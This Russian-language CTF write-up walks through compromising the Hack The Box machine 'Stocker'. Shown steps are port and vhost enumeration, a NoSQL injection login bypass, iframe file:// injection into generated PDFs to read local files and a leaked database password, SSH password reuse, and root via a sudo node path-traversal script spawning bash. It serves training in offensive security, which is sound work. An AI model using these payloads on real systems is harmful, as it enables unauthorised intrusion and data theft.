Обзор сервисов

Проверим, какие сервисы имеются на машине с IP-адресом 10.10.11.196:

$ nmap -sV -sC -Pn -oN 10.10.11.196 10.10.11.196
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 13:05 EDT
Nmap scan report for 10.10.11.196
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
|   256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_  256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.24 seconds

Добавим домен stocker.htb в /etc/hosts:

$ sudo nano /etc/hosts  
10.10.11.196 stocker.htb

Вебка

Alt text

Беглый анализ показал, что на вебке нет ничего интересного. Попробуем поискать интересные файлы на сервере:

$ gobuster dir -u <http://stocker.htb> -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://stocker.htb>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,pdf,php
[+] Timeout: 10s
===============================================================
2023/06/17 13:23:34 Starting gobuster in directory enumeration mode
===============================================================

/css (Status: 301) [Size: 178] [--> <http://stocker.htb/css/>]  
/favicon.ico (Status: 200) [Size: 1150]  
/fonts (Status: 301) [Size: 178] [--> <http://stocker.htb/fonts/>]

Не нашлось ничего интересного. Попробуем поискать виртуальные хосты:

$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u <http://stocker.htb> --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://stocker.htb>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/06/17 13:31:46 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4926 / 4990 (98.72%)
===============================================================
2023/06/17 13:32:13 Finished
===============================================================

Нашелся виртуальный хост dev.stocker.htb. Аналогичным способом добавим его в /etc/hosts.

Alt text

NoSQL инъекция

Попробуем отправить с помощью Burp Suite admin:admin и получаем ошибку:

Alt text

Alt text

Воспользуемся читшитом hacktricks по NoSQL инъекциям. Поменяем Content-Type на application/json и заменим в теле запроса полезную нагрузку:

{"username": {"$ne": null}, "password": {"$ne": null} }

Alt text

Получаем редирект на http://dev.stocker.htb/stock:

Alt text

Alt text

Local File Inclusion

В корзину можно добавлять товары, после чего отправлять его на обработку, в результате чего генерируется PDF-файл.

Alt text

Alt text

Alt text

При отправке запроса на создание заказа видим его номер, а также параметры. Также стоит обратить внимание, что название товара Axe отразилось в PDF-файле выше, а это может значить подгрузку строки из базы.

Кроме того, мы видим, что используется фреймворк Express, то есть сервер работает под управлением NodeJS.

Alt text

Попытаемся подсунуть <iframe src=file:///etc/passwd height=1000 width=1000></iframe> вместо названия товара:

Alt text

Полезная нагрузка

Перейдем на http://dev.stocker.htb/api/po/648df5b728ebc492c832c7c7 (ID нашего заказа с полезной нагрузкой) и обнаружим, что мы сумели прочитать файл /etc/passwd и обнаружить пользователя angoose:

Alt text

Попытаемся прочитать исходный код index.js (помним, что ранее видели заголовки Express от NodeJS) с помощью полезной нагрузки <iframe src=file:///var/www/dev/index.js height=1000 width=1000></iframe>:

Alt text

Перейдем на http://dev.stocker.htb/api/po/648df77e28ebc492c832c7d5 и обнаружим код файла, в котором спрятана строка для подключения к MongoDB, содержащая пароль в открытом виде:

Alt text

Переиспользование пароля

Подключимся по SSH в качестве пользователя angoose:IHeardPassphrasesArePrettySecure:

$ ssh [email protected]  
IHeardPassphrasesArePrettySecure

Пользовательский флаг

angoose@stocker:~$ cat user.txt  
17af6d64b7b03958559130718ea8c553

Alt text

Повышение привилегий

Проверим, что мы можем исполнять как суперпользователь:

angoose@stocker:~$ sudo -l  
[sudo] password for angoose:  
Matching Defaults entries for angoose on stocker:  
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:  
 (ALL) /usr/bin/node /usr/local/scripts/*.js

Мы можем запускать скрипты с помощью node от суперпользователя. Напишем такой скрипт (пример https://www.freecodecamp.org/news/node-js-child-processes-everything-you-need-to-know-e69498fe970a/):

$ nano /tmp/test.js  
const { spawn } = require('child_process');  
const child = spawn('/usr/bin/bash', {stdio: [0,1,2]});  
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/test.js

Alt text

Флаг суперпользователя

root@stocker:/tmp$ cd /root  
root@stocker:~$ ls  
root.txt  
root@stocker:~$ cat root.txt  
10a1b49e383dea2f9c0405788cbd9702

Alt text